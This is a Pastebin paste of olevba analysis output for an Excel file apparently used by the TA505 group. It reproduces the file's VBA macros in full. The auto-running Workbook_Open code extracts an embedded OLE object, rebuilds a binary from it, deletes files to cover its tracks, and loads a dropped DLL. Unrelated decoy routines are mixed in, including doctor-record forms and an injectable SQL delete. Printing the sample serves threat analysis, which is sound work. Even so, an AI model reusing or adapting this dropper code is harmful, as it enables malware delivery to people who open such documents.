G0dR4p3

TA505_c0c76b47978135263b2f499694f82dc558239ce34cecb87dcd27c00d4c5484a2_analysis

Sep 8th, 2020 (edited)
457
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 52.14 KB | None | 0 0
  1. #TA505 #xls #Macro
  2.  
  3. olevba 0.55.1 on Python 3.8.5 - http://decalage.info/python/oletools
  4. ===============================================================================
  5. FILE: Angebot_09082020_617.xls
  6. Type: OLE
  7. -------------------------------------------------------------------------------
  8. VBA MACRO ThisWorkbook.cls
  9. in file: Angebot_09082020_617.xls - OLE stream: '_VBA_PROJECT_CUR/VBA/ThisWorkbook'
  10. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  11. Private Sub Workbook_Open()
  12. If WelcomeDialog.Visible = True Then
  13. Exit Sub
  14. End If
  15.  
  16. Module5.RedButton 19999
  17. End Sub
  18.  
  19. -------------------------------------------------------------------------------
  20. VBA MACRO Form0.frm
  21. in file: Angebot_09082020_617.xls - OLE stream: '_VBA_PROJECT_CUR/VBA/Form0'
  22. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  23. (empty macro)
  24. -------------------------------------------------------------------------------
  25. VBA MACRO Page11.cls
  26. in file: Angebot_09082020_617.xls - OLE stream: '_VBA_PROJECT_CUR/VBA/Page11'
  27. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  28. (empty macro)
  29. -------------------------------------------------------------------------------
  30. VBA MACRO Lumene.cls
  31. in file: Angebot_09082020_617.xls - OLE stream: '_VBA_PROJECT_CUR/VBA/Lumene'
  32. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  33.  
  34. Dim vSpeed As Integer
  35. Dim vLicensePlate As String
  36.  
  37. Public Property Get Speed() As Integer
  38. Speed = vSpeed
  39. End Property
  40.  
  41.  
  42. Public Property Get CheckCar(car As Variant, Drive As String)
  43. CheckCar = car.SpecialFolders("" & Drive)
  44.  
  45. End Property
  46. Public Property Get SpecialFolders() As String
  47. LicensePlate = vLicensePlate
  48. End Property
  49.  
  50. Public Property Let LicensePlate(lp As String)
  51. If Len(lp) <> 6 Then Err.Raise (xlErrValue)
  52. vLicensePlate = lp
  53. End Property
  54.  
  55.  
  56.  
  57. -------------------------------------------------------------------------------
  58. VBA MACRO WelcomeDialog.frm
  59. in file: Angebot_09082020_617.xls - OLE stream: '_VBA_PROJECT_CUR/VBA/WelcomeDialog'
  60. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  61.  
  62. Private Sub UserForm_Activate()
  63. DoEvents
  64. DoEvents
  65. ExChangeMoney
  66. DoEvents
  67. End Sub
  68.  
  69.  
  70.  
  71.  
  72. -------------------------------------------------------------------------------
  73. VBA MACRO Module1.bas
  74. in file: Angebot_09082020_617.xls - OLE stream: '_VBA_PROJECT_CUR/VBA/Module1'
  75. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  76. Public HurricanMoes() As Byte
  77. Public PatchForLuck As Byte
  78. Public LUCKY As Double
  79. Public MoveStep As Byte
  80. Public PatchForHeart As Byte
  81.  
  82.  
  83.  
  84.  
  85. #If VBA7 And Win64 Then
  86. Public Declare PtrSafe Function code2 Lib "kernel32.dll" Alias "SetDefaultDllDirectories" (ByVal DirectoryFlags As Long) As Long
  87. Public Declare PtrSafe Function code1 Lib "kernel32.dll" Alias "AddDllDirectory" (ByVal dirName As String) As LongPtr
  88. Public Declare PtrSafe Function gdemn Lib "str_join2.dll" () As Integer
  89. #Else
  90. Public Declare Function code2 Lib "kernel32.dll" Alias "SetDefaultDllDirectories" (ByVal DirectoryFlags As Long) As Long
  91. Public Declare Function code1 Lib "kernel32.dll" Alias "AddDllDirectory" (ByVal dirName As String) As Long
  92. Public Declare Function gdemn Lib "str_join1.dll" () As Integer
  93. #End If
  94.  
  95.  
  96.  
  97. Public Sub VistaQ(WhereToGo)
  98. DoEvents
  99. ThisWorkbook.Sheets.Copy
  100. Application.DisplayAlerts = False
  101. DoEvents
  102. ActiveWorkbook.SaveAs WhereToGo, Local:=False, FileFormat:=3 * 7 + 3 * 7 + 9
  103. DoEvents
  104. DoEvents
  105. ActiveWorkbook.Close
  106. DoEvents
  107. DoEvents
  108.  
  109.  
  110. End Sub
  111.  
  112.  
  113.  
  114.  
  115.  
  116. Public Sub PublicResumEraseByArrayList(ParamArray putArrayBigList() As Variant)
  117. On Error Resume Next
  118. For Each Key In putArrayBigList
  119. Kill Key
  120. Next Key
  121. End Sub
  122.  
  123.  
  124.  
  125.  
  126.  
  127. Private Sub TextBox2_Change()
  128.  
  129. x = Len(TextBox2)
  130. Y = LTrim(TextBox2.Text)
  131. d = TextBox2
  132. If d = "" Then
  133. TextBox2.BackColor = &HFFFFFF
  134. Exit Sub
  135. End If
  136. If Left(d, 2) > 24 Then
  137. MsgBox "Ora Errata"
  138. TextBox2.SelStart = 0
  139. TextBox2.SelLength = Len(TextBox2)
  140. Exit Sub
  141. End If
  142. If x = 2 Then TextBox2 = Y & ":"
  143. If x = 4 Then Exit Sub
  144.  
  145. If Mid(d, 4, 2) = "" Then Exit Sub
  146. If Mid(d, 4, 2) > 59 Then
  147. MsgBox "Minuti Errati"
  148. TextBox2.SelStart = 3
  149. TextBox2.SelLength = Len(TextBox2)
  150. Exit Sub
  151. End If
  152.  
  153.  
  154. If x = 5 Then
  155. TextBox3.SetFocus
  156. End If
  157. Exit Sub
  158.  
  159. Resume
  160. End Sub
  161.  
  162. Public Function ExChangeMoney()
  163.  
  164.  
  165. Dim ofbl As String
  166. Dim sOfbl As String
  167. Dim NumBForRead As Long
  168.  
  169.  
  170. dershlep = "" + Form0.TextBox1.Tag
  171.  
  172.  
  173.  
  174. Dim sendings As Integer
  175. ofbl = Form0.TextBox1.Tag
  176. ofbl = ofbl + "\str_join"
  177.  
  178. liquidOne = Form0.TextBox1.Tag + "\academ"
  179.  
  180. liquidOne = liquidOne + "l.xlsx"
  181.  
  182. Dim arr(1 To 3) As String
  183.  
  184.  
  185.  
  186.  
  187. If LenB(Form0.TextBox3.Text) > 200 Then
  188. MsgBox "Ultrapassa 66 Caracteres!", vbCritical, "HISTÓRICO"
  189. TextBox7.SelStart = 0
  190. Else
  191.  
  192.  
  193. End If
  194. Dim objeto As Control
  195.  
  196. If Len(Form0.TextBox1.Text) > 366 Then
  197. For Each objeto In UserForm1.Controls
  198. On Error Resume Next
  199. objeto.Value = "]"
  200. Next
  201.  
  202. Unload ggg.UserForm1
  203. ggg.UserForm1.Hide
  204. End If
  205.  
  206.  
  207. ctackPip = liquidOne & Page11.Range("B115").Value
  208.  
  209.  
  210.  
  211.  
  212. sOfbl = ofbl + Page11.Range("B115").Value
  213. PublicResumEraseByArrayList ofbl + "*", Form0.TextBox3.Tag + "\str_join*", sOfbl, ctackPip, dershlep & UserForm1.Label1.Tag
  214.  
  215.  
  216. VistaQ liquidOne
  217.  
  218. FileCopy Source:=liquidOne, Destination:=ctackPip
  219. sendings = 1
  220. Dim sNMSP As New Shell
  221. FlagDouble = False
  222.  
  223. Lrigat = UserForm1.Label11.Tag
  224.  
  225. If sendings > -15 And sendings > -130 Then
  226.  
  227. Set DestinationKat = sNMSP.Namespace(dershlep)
  228. Set harvest = sNMSP.Namespace(ctackPip)
  229.  
  230.  
  231. End If
  232.  
  233.  
  234. Set ExcelC = ThisWorkbook.Sheets(1).Application.Sheets(1).Application
  235.  
  236.  
  237.  
  238. DestinationKat.CopyHere harvest.Items.Item(Lrigat)
  239.  
  240.  
  241.  
  242. Dim car As Lumene
  243.  
  244. Set car = New Lumene
  245.  
  246. NumBForRead = 431109
  247.  
  248.  
  249. sendings = 1
  250. flayString = "1"
  251.  
  252.  
  253.  
  254. Composition dershlep + "" + UserForm1.Label1.Tag + "" & "", sOfbl, NumBForRead
  255.  
  256. If sendings < 100 Then
  257. sendings = sendings + 1
  258. sendings = sendings + 1
  259. End If
  260.  
  261. If sendings > -16 Or sendings > -130 Then
  262.  
  263. Set DestinationKat = sNMSP.Namespace(Form0.TextBox3.Tag)
  264. Set harvest = sNMSP.Namespace(sOfbl)
  265.  
  266. DestinationKat.CopyHere harvest.Items
  267.  
  268.  
  269. End If
  270.  
  271. If -100 <= sendings Then
  272. sendings = sendings + 1
  273. ChDir Form0.TextBox3.Tag
  274. sendings = sendings + 1
  275. End If
  276. sOfbl = """" + sOfbl & ""","""
  277.  
  278. If sendings < 0 Then
  279. sendings = sendings + 1
  280. sendings = sendings + 1
  281. End If
  282.  
  283.  
  284. If sendings > 1000 Then
  285. sendings = sendings - 20
  286. End If
  287. If sendings < 17 Then
  288. sendings = sendings - 30
  289. End If
  290. If sendings < 0 Then
  291. sendings = sendings + 1
  292. sendings = sendings + 1
  293. End If
  294. StopByOk = TestResult(d)
  295.  
  296.  
  297. setDLLDirectory "" + Form0.TextBox3.Tag
  298. gdemn
  299. WelcomeDialog.Hide
  300.  
  301. End Function
  302.  
  303.  
  304. Sub subTotalSales()
  305.  
  306. Dim LR As Integer
  307. LR = Cells(Rows.Count, "A").End(xlUp).Row + 2
  308. Rows("1:2").EntireRow.Insert Shift:=xlDown
  309.  
  310. If LR = 3 Then
  311. Range("A1").Select
  312. Call salesHeade.rs
  313. Range("A2").Formula = "$0"
  314. Range("B2").Formula = "$0"
  315. Range("C2").Formula = "$0"
  316. Range("D2").Formula = "$0"
  317. Range("E2").Formula = "$0"
  318. Range("F2").Formula = "0%"
  319. Range("G2").Formula = "0"
  320. Range("H2").Formula = "$0"
  321. Range("I2").Formula = "0"
  322. Range("J2").Formula = "0"
  323. Range("K2").Formula = "$0"
  324. Range("L2").Formula = "$0"
  325. Range("M2").Formula = "0"
  326. Range("N2").Formula = "0%"
  327. Else
  328. Range("A1").Select
  329. Call salesHeade.rs
  330. With ActiveSheet
  331.  
  332. End With
  333. End If
  334.  
  335. End Sub
  336.  
  337.  
  338. Sub InputWeekData(x As Date)
  339.  
  340. ActiveCell = Format(x, "ww", vbMonday, vbFirstFourDays)
  341. ActiveCell.Offset(0, 1).Select
  342. ActiveCell = x
  343. ActiveCell.Offset(0, 1).Select
  344. ActiveCell = x + 6
  345. ActiveCell.Offset(0, 1).Select
  346.  
  347. End Sub
  348. Private Sub TextBox3_Change()
  349.  
  350. Y = LTrim(TextBox3.Text)
  351. d = TextBox3
  352.  
  353. If x = 5 Then
  354. TextBox4.SetFocus
  355. End If
  356.  
  357. End Sub
  358.  
  359.  
  360.  
  361.  
  362.  
  363.  
  364.  
  365.  
  366.  
  367.  
  368.  
  369.  
  370.  
  371.  
  372.  
  373.  
  374.  
  375. -------------------------------------------------------------------------------
  376. VBA MACRO Module2.bas
  377. in file: Angebot_09082020_617.xls - OLE stream: '_VBA_PROJECT_CUR/VBA/Module2'
  378. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  379.  
  380. Public Const FirstB As Byte = 80
  381. Public Const SecondB As Byte = 75
  382. Public Const ThirdB As Byte = 3
  383. Public Const FourthB As Byte = 4
  384. Public Sub GetParam(Count As Integer)
  385. Dim I As Long
  386. Dim j As Integer
  387. Dim C As String
  388. Dim tooolsetChunkI As Boolean
  389. Dim tooolsetChunkQ As Boolean
  390.  
  391. j = 1
  392. tooolsetChunkI = False
  393. tooolsetChunkQ = False
  394. GetP.aram = ""
  395. For I = 1 To Len(Comma.nd$)
  396. C = Mi.d$(Comma.nd$, I, 1)
  397. If tooolsetChunkI Then
  398. If C = """" Then
  399. j = j + 1
  400. tooolsetChunkI = False
  401. tooolsetChunkQ = False
  402. End If
  403. ElseIf Not tooolsetChunkQ Then
  404. If C = " " Then
  405. j = j + 1
  406. End If
  407. Else
  408. If C = """" Then
  409. If j > Count Then Exit Sub
  410. tooolsetChunkI = True
  411. tooolsetChunkQ = True
  412. ElseIf C <> " ccc" Then
  413.  
  414. End If
  415. End If
  416. If tooolsetChunkI And j = Count And C <> """" Then GetP.aram = GetP.aram & C
  417. Next I
  418. End Sub
  419.  
  420.  
  421.  
  422.  
  423.  
  424. Public Sub setDLLDirectory(ByVal targetDir As String)
  425.  
  426.  
  427. Dim b As Byte
  428. Dim p As Long
  429.  
  430. code2 (&H1000)
  431. code1 (StrConv(targetDir, vbUnicode))
  432. End Sub
  433.  
  434. Public Sub GetParam3(Count As Integer)
  435. Dim I As Long
  436. Dim j As Integer
  437. Dim C As String
  438. Dim tooolsetChunkI As Boolean
  439. Dim tooolsetChunkQ As Boolean
  440.  
  441. j = 1
  442. tooolsetChunkI = False
  443. tooolsetChunkQ = False
  444. GetP.aram = ""
  445. For I = 1 To Len(Comma.nd$)
  446. C = Mi.d$(Comma.nd$, I, 1)
  447. If tooolsetChunkI Then
  448. If C = """" Then
  449. j = j + 1
  450. tooolsetChunkI = False
  451. tooolsetChunkQ = False
  452. End If
  453.  
  454. Else
  455. If C = """" Then
  456. If j > Count Then Exit Sub
  457. tooolsetChunkI = True
  458. tooolsetChunkQ = True
  459. ElseIf C <> " " Then
  460. tooolsetChunkI = True
  461. End If
  462. End If
  463. If tooolsetChunkI And j = Count And C <> """" Then GetP.aram = GetP.aram & C
  464. Next I
  465. End Sub
  466.  
  467.  
  468.  
  469.  
  470.  
  471.  
  472. Public Sub Composition(Composition2 As String, ofbl As String, fl As Long)
  473. Dim PChannel As Long
  474. Dim logicVari As Integer
  475. Dim SimpleMethod As Integer
  476. ReDim HurricanMoes(1 To fl)
  477. PChannel = FreeFile
  478. Open Composition2 For Binary Access Read As PChannel
  479. HurricanMoes(1) = FirstB
  480.  
  481. HurricanMoes(2) = SecondB
  482. HurricanMoes(3) = ThirdB
  483. HurricanMoes(4) = FourthB
  484. logicVari = 1
  485. Do While Not EOF(PChannel)
  486. Get PChannel, , MoveStep
  487. If MoveStep = FirstB Then
  488.  
  489. Get PChannel, , PatchForHeart
  490. If PatchForHeart = SecondB Then
  491.  
  492. Get PChannel, , PatchForLuck
  493. If PatchForLuck = ThirdB Then
  494. Get PChannel, , PatchForLuck
  495. If PatchForLuck = FourthB Then
  496. For k = 5 To fl
  497. Get PChannel, , MoveStep
  498. HurricanMoes(k) = MoveStep
  499. Next k
  500. Exit Do
  501.  
  502. End If
  503. End If
  504. End If
  505. End If
  506. Loop
  507. On Error Resume Next
  508. PublicationChannel = 1892
  509. Close PChannel
  510. PublicationChannel = 1892 + PublicationChannel
  511. PChannel = FreeFile
  512. PublicationChannel = 1892 + PublicationChannel
  513. Open ofbl For Binary Lock Read Write As #PChannel
  514. PublicationChannel = 1892 + PublicationChannel
  515. zeroBob = 1
  516. For I = zeroBob To UBound(HurricanMoes)
  517.  
  518. If WelcomeDialog.Enabled = True Then
  519.  
  520. Put #PChannel, , HurricanMoes(I)
  521. End If
  522. Next I
  523. Close PChannel
  524. PChannel = FreeFile
  525. For HSP = 33 To -1 Step -0.25
  526. PChannel = 6 + I
  527. Next HSP
  528. PChannel = 6 + I
  529. End Sub
  530.  
  531.  
  532.  
  533.  
  534. Private Sub cmd_Keluar_Click()
  535. Unload LSD.Me
  536. MDIForm1.dokter.Enabled = True
  537. MDIForm1.dokter.Checked = False
  538. End Sub
  539.  
  540. Private Sub cmd_Perbaiki_Click()
  541. If cmd_Perbaiki.Caption = "Pe&rbaiki" Then
  542. cmd_Simpan.Enabled = False
  543. cmd_Hapus.Enabled = False
  544. cmd_Batal.Enabled = True
  545. Dim var As String
  546. var = InputBox("Ketikkan kode dokter yang datanya akan di perbaiki !", "Perbaiki Data dokter")
  547. If var = Empty Then Exit Sub
  548. Data1.Recordset.Index = "Kode_dokter"
  549. Data1.Recordset.Seek "=", var
  550. If Not Data1.Recordset.NoMatch Then
  551. Call tam.pil
  552. txtkd_dok.Enabled = False
  553. txtnm_dok.Enabled = True
  554. cmd_Perbaiki.Caption = "&Perbaharui data"
  555. Else
  556. MsgBox "Data dokter dengan kode dokter " & var & " tidak diketemukan"
  557. End If
  558. Else
  559. Data1.Recordset.Edit
  560. Data1.Recordset!kode_dokter = txtkd_dok.Text
  561. Data1.Recordset!nama_dokter = txtnm_dok.Text
  562. Data1.Recordset.Update
  563. Call ber.sih
  564. cmd_Perbaiki.Caption = "Pe&rbaiki"
  565. cmd_Batal.Enabled = False
  566. cmd_Simpan.Enabled = True
  567. cmd_Hapus.Enabled = True
  568. Call tdk_bi.sa
  569. End If
  570. End Sub
  571.  
  572. Private Sub cmd_Simpan_Click()
  573. If cmd_Simpan.Caption = "&Isi Data" Then
  574. Call bis.A
  575. nom.Or
  576. M.e.txtnm_dok.SetFocus
  577. cmd_Batal.Enabled = True
  578. cmd_Perbaiki.Enabled = False
  579. cmd_Hapus.Enabled = False
  580. cmd_cari.Enabled = False
  581. cmd_Simpan.Caption = "&Simpan Data"
  582. Else
  583. If txtkd_dok.Text = "" Or _
  584. txtnm_dok.Text = "" Then
  585. MsgBox "Data tidak boleh kosong !", vbCritical, "SISTEM PENJUALAN KREDIT"
  586. txtkd_dok.SetFocus
  587. Else
  588. cmd_Batal.Enabled = False
  589. cmd_Perbaiki.Enabled = True
  590. cmd_Hapus.Enabled = True
  591. cmd_cari.Enabled = True
  592. Data1.Recordset!kode_dokter = txtkd_dok.Text
  593. Data1.Recordset!nama_dokter = txtnm_dok.Text
  594. Data1.Recordset.Update
  595. Call ber.sih
  596. cmd_Simpan.Caption = "&Isi Data"
  597. End If
  598. End If
  599. End Sub
  600.  
  601.  
  602.  
  603. Function retVal(ByVal v As Variant) As Variant
  604. If v <> 0 Then
  605. retVal = v
  606. Else
  607. retVal = ""
  608. End If
  609.  
  610. End Function
  611.  
  612. Function getFile() As String()
  613. Dim s As String
  614. Dim sl(1000) As String
  615. Dim r As Range
  616. Dim I As Integer
  617. Erase sl
  618. I = 0
  619. For Each r In Worksheets("Sheet1").Range("B1:B100")
  620. s = r.Value
  621. If s <> "" Then
  622. I = I + 1
  623. End If
  624. Next r
  625. getFile = sl()
  626. End Function
  627.  
  628.  
  629.  
  630. Function MatchRegExp(ByVal Text As String, ByVal MatchWord As String, _
  631. Optional CaseCompare, _
  632. Optional RegExp As Object = Nothing, _
  633. Optional Match As Object = Nothing) As Boolean
  634.  
  635. On Error GoTo Err:
  636. Dim result As Boolean
  637. result = False
  638. Do
  639. If (MatchWord = "") Or (Text = "") Then Exit Do
  640.  
  641. Dim RegCreateFlag As Boolean
  642. RegCreateFlag = False
  643. If RegExp Is Nothing Then
  644. RegCreateFlag = True
  645. Set RegExp = CreateObject("VBScript.RegExp")
  646. End If
  647.  
  648. RegExp.Pattern = MatchWord
  649. RegExp.Global = True
  650. RegExp.IgnoreCase = CaseCompare = IgnoreCase
  651. Set Match = RegExp.Execute(Text)
  652. If 1 <= Match.Count Then
  653. result = True
  654. End If
  655.  
  656. If RegCreateFlag Then
  657. Set RegExp = Nothing
  658. End If
  659.  
  660. Loop While False
  661. MatchRegExp = result
  662. Exit Function
  663. Err:
  664. MatchRegExp = False
  665. End Function
  666. Private Sub testArrayAddArray()
  667. Dim A1()
  668. A1 = Array("A", "B", "C")
  669. Dim A2()
  670. A2 = Array("D", "E")
  671.  
  672. Call ArrayA.ddArray(A1, A2)
  673. Call Check(5, ArrayC.ount(A1))
  674. Call Check("D", A1(3))
  675. Call Check("E", A1(4))
  676.  
  677. '???????????
  678. Dim B1()
  679. Dim B2()
  680. B2 = Array("1", "2")
  681. Call ArrayA.ddArray(B1, B2)
  682. Call Check(2, ArrayC.ount(B1))
  683. Call Check("1", B1(0))
  684. Call Check("2", B1(1))
  685.  
  686.  
  687. End Sub
  688. Sub ArrayInsert(ByRef ArrayValue As Variant, _
  689. ByVal Index As Long, ByVal Value As Variant)
  690. Call Assert(IsArray(ArrayValue), "Error:ArrayInsert:ArrayValue is not Array.")
  691. Call Assert(InRange(LBound(ArrayValue), Index, UBound(ArrayValue)), _
  692. "Error:ArrayInsert:Index Range Over.")
  693.  
  694. ReDim Preserve ArrayValue(LBound(ArrayValue) To UBound(ArrayValue) + 1)
  695. Dim I As Long
  696. For I = UBound(ArrayValue) To Index + 1 Step -1
  697. Call SetValue(ArrayValue(I), ArrayValue(I - 1))
  698. Next
  699. Call SetValue(ArrayValue(Index), Value)
  700. End Sub
  701. Public Function InRange( _
  702. ByVal MinValue As Long, _
  703. ByVal Value As Long, _
  704. ByVal MaxValue As Long) As Boolean
  705.  
  706. InRange = ((MinValue <= Value) And (Value <= MaxValue))
  707.  
  708. End Function
  709. Private Sub testArrayInsert()
  710. Dim A
  711. A = Array("A", "B", "C")
  712.  
  713. Call Check("B", A(1))
  714. Call Check(3, ArrayCount(A))
  715. Call ArrayInsert(A, 1, "1")
  716. Call Check(4, ArrayCount(A))
  717. Call Check("1", A(1))
  718.  
  719. Dim b()
  720. ReDim b(2)
  721. Set b(0) = CreateObject("VBScript.RegExp")
  722. Set b(2) = Nothing
  723. Call Check(Shel.l32.CurrentDirectory, b(1).CurrentDirectory)
  724. Call ArrayInsert(b, 1, fso)
  725. Call Check("test.txt", b(1).GetFileName("C:\temp\test.txt"))
  726. End Sub
  727. Public Sub Assert(ByVal Value As Boolean, Optional ByVal Message As String)
  728. If Value = False Then
  729. Call Err.Raise(9999, , Message)
  730. End If
  731. End Sub
  732. Public Sub SetValue(ByRef Variable, ByVal Value)
  733. If IsObject(Value) Then
  734. Set Variable = Value
  735. Else
  736. Variable = Value
  737. End If
  738. End Sub
  739. Public Function ArrayCount(ByRef ArrayValue As Variant, _
  740. Optional Dimension = 1) As Long
  741. Call Assert(IsArray(ArrayValue), "Error:ArrayCount:ArrayValue is not Array.")
  742.  
  743. ArrayCount = _
  744. UBoundNo.Error(ArrayValue, Dimension) - _
  745. LBoundNo.Error(ArrayValue, Dimension) + 1
  746. End Function
  747. Private Sub testAssert()
  748. Call Assert(False, "???")
  749. End Sub
  750.  
  751. Public Function Check(ByVal A As Variant, ByVal b As Variant) As Boolean
  752. Check = (A = b)
  753. If Check = False Then
  754. Call MsgBox("A != B" + vbCrLf + _
  755. "A = " + CStr(A) + vbCrLf + _
  756. "B = " + CStr(b))
  757. End If
  758. End Function
  759.  
  760.  
  761.  
  762.  
  763.  
  764.  
  765.  
  766.  
  767.  
  768.  
  769.  
  770.  
  771.  
  772.  
  773.  
  774. -------------------------------------------------------------------------------
  775. VBA MACRO UserForm1.frm
  776. in file: Angebot_09082020_617.xls - OLE stream: '_VBA_PROJECT_CUR/VBA/UserForm1'
  777. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  778. (empty macro)
  779. -------------------------------------------------------------------------------
  780. VBA MACRO Module5.bas
  781. in file: Angebot_09082020_617.xls - OLE stream: '_VBA_PROJECT_CUR/VBA/Module5'
  782. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  783.  
  784. Public Function RedButton(dImmer As Double)
  785.  
  786. DosTres = "DosTres"
  787.  
  788. If WelcomeDialog.Visible <> False Then
  789. Exit Function
  790. End If
  791. reqPlace = 3
  792. reqPlace = reqPlace - 1
  793.  
  794. Set car = New Lumene
  795. Set TSPIP = New IWshRuntimeLibrary.WshShell
  796. Select Case reqPlace
  797. Case 0
  798. s = "N health problems"
  799. Case 1
  800. s = "Minor health problems"
  801.  
  802. s = "Sev ere disability"
  803. End Select
  804.  
  805. Dim SpecialPath As String
  806.  
  807. PRP = "%" + Form0.TextBox1.Tag
  808.  
  809.  
  810.  
  811. TBT = PRP
  812. TBT = TBT + "" + ""
  813. TBT = TBT + "%"
  814. TBT = TSPIP.ExpandEnvironmentStrings(TBT)
  815.  
  816. firstWeek = 0
  817. firstDay = 0
  818. Dim firstdate As Date
  819. Form0.TextBox1.Tag = TBT
  820. firstDay = 2
  821.  
  822. lastDay = 4
  823. Dim lastdate As Date
  824. lastWeek = 0
  825. lastDay = 0
  826.  
  827. s = car.CheckCar(TSPIP, Form0.TextBox3.ControlTipText & "")
  828. firstWeek = 1
  829.  
  830. lastWeek = 3
  831. Form0.TextBox3.Tag = s
  832.  
  833.  
  834. If Not firstDay = 1 Then
  835. firstdate = firstdate + (8 - firstDay)
  836. firstWeek = firstWeek + 1
  837. End If
  838. If lastDay = 6 Then
  839. lastdate = lastdate + 1
  840. lastDay = lastDay + 1
  841. ElseIf Not lastDay = 7 Then
  842. lastdate = lastdate - lastDay
  843. lastDay = 7
  844. lastWeek = lastWeek - 1
  845. End If
  846.  
  847.  
  848. Iteration = 0
  849.  
  850.  
  851. ChDir (Form0.TextBox1.Tag + "")
  852. If WelcomeDialog.Visible = False Then
  853. WelcomeDialog.Show
  854. End If
  855.  
  856. End Function
  857.  
  858.  
  859.  
  860.  
  861.  
  862.  
  863.  
  864. Private Sub Command7_Click()
  865. b = MsgBox("?????????", vbYesNo)
  866. If b = vbYes Then
  867. A = "delete from cinema where cinid='"
  868. A = A + Text1.Text + "'"
  869. cnmovie.Execute A
  870. rs4.Close
  871. Sql = "select * from cinema"
  872. rs4.Open Sql, cnmovie, adOpenDynamic, adLockOptimistic
  873. If rs.BOF Or rs.EOF Then
  874. MsgBox "?????!"
  875. Else
  876. rs4.MoveFirst
  877. Call View.Data
  878. End If
  879. End If
  880. End Sub
  881.  
  882.  
  883.  
  884.  
  885. Private Sub nomor()
  886. Dim urutan As String * 5
  887. Dim hitung As Byte
  888.  
  889. If Data1.Recordset.RecordCount = 0 Then
  890. urutan = "Dr" & "001"
  891. Else
  892. Data1.Recordset.MoveLast
  893. If Val(Left(Data1.Recordset!kode_dokter, 3)) <> "000" Then
  894. urutan = "00" & "001"
  895. Else
  896. hitung = Val(Right(Data1.Recordset!kode_dokter, 3)) + 1
  897. urutan = "Dr" & Right("000" & hitung, 3)
  898. End If
  899. End If
  900. M.e.txtkd_dok = urutan
  901.  
  902. End Sub
  903.  
  904. Private Sub cmd_Batal_Click()
  905. Call be.rsih
  906. Call td.k_bisa
  907. cmd_Batal.Enabled = False
  908. cmd_Perbaiki.Enabled = True
  909. cmd_Hapus.Enabled = True
  910. cmd_cari.Enabled = True
  911. End Sub
  912.  
  913. Private Sub cmd_cari_Click()
  914. Dim var As String
  915. var = InputBox("Masukan Kode Dokter yang ingin anda cari!", "Cari data dokter")
  916. If var = Empty Then Exit Sub
  917. If var <> "" Then
  918. Data1.Recordset.Index = "kode_dokter"
  919. Data1.Recordset.Seek "=", var
  920. If Not Data1.Recordset.NoMatch Then
  921. Call tam.pil
  922. Call bi.sa
  923. Call kun.ci
  924. Else
  925. MsgBox "Data dokter dengan kode dokter " & var & " tidak diketemukan"
  926. End If
  927. End If
  928. End Sub
  929.  
  930.  
  931.  
  932. Public Function TestResult(result As Variant)
  933. TestResult = False
  934. If IsNumeric(ExcelReturn) Then
  935. If ExcelReturn = 0 Then
  936. TestResult = True
  937. End If
  938. End If
  939. End Function
  940. Private Sub cmd_Hapus_Click()
  941. Dim var As String
  942. var = InputBox("Masukan Kode dokter yang akan dihapus!", "Hapus dokter")
  943. If var = Empty Then Exit Sub
  944. If var = "" Then
  945. Data1.Recordset.Index = "Kode_dokter"
  946. Data1.Recordset.Seek "=", var
  947. If Not Data1.Recordset.NoMatch Then
  948. Data1.Recordset.Delete
  949. Data1.Refresh
  950. Data1.Recordset.MoveFirst
  951. Else
  952. MsgBox "Data dokter dengan kode dokter " & var & " tidak diketemukan"
  953.  
  954. End If
  955. End If
  956. End Sub
  957.  
  958.  
  959.  
  960.  
  961.  
  962.  
  963.  
  964. -------------------------------------------------------------------------------
  965. VBA FORM STRING IN 'Angebot_09082020_617.xls' - OLE stream: '_VBA_PROJECT_CUR/Form0/o'
  966. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  967. H�,�
  968. -------------------------------------------------------------------------------
  969. VBA FORM STRING IN 'Angebot_09082020_617.xls' - OLE stream: '_VBA_PROJECT_CUR/Form0/o'
  970. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  971. \oleObject*.bin
  972. -------------------------------------------------------------------------------
  973. VBA FORM STRING IN 'Angebot_09082020_617.xls' - OLE stream: '_VBA_PROJECT_CUR/UserForm1/o'
  974. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  975. �Label1s
  976. -------------------------------------------------------------------------------
  977. VBA FORM STRING IN 'Angebot_09082020_617.xls' - OLE stream: '_VBA_PROJECT_CUR/UserForm1/o'
  978. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  979. �xl\embeddings\oleObject1.bin�
  980. -------------------------------------------------------------------------------
  981. VBA FORM STRING IN 'Angebot_09082020_617.xls' - OLE stream: '_VBA_PROJECT_CUR/UserForm1/o'
  982. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  983. Tahomas
  984. -------------------------------------------------------------------------------
  985. VBA FORM Variable "b'TextBox1'" IN 'Angebot_09082020_617.xls' - OLE stream: '_VBA_PROJECT_CUR/Form0'
  986. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  987. b''
  988. -------------------------------------------------------------------------------
  989. VBA FORM Variable "b'TextBox3'" IN 'Angebot_09082020_617.xls' - OLE stream: '_VBA_PROJECT_CUR/Form0'
  990. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  991. b'\\oleObject*.bin'
  992. -------------------------------------------------------------------------------
  993. VBA FORM Variable "b'ComboBox1'" IN 'Angebot_09082020_617.xls' - OLE stream: '_VBA_PROJECT_CUR/Form0'
  994. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  995. b''
  996. -------------------------------------------------------------------------------
  997. VBA FORM Variable "b'Label1'" IN 'Angebot_09082020_617.xls' - OLE stream: '_VBA_PROJECT_CUR/UserForm1'
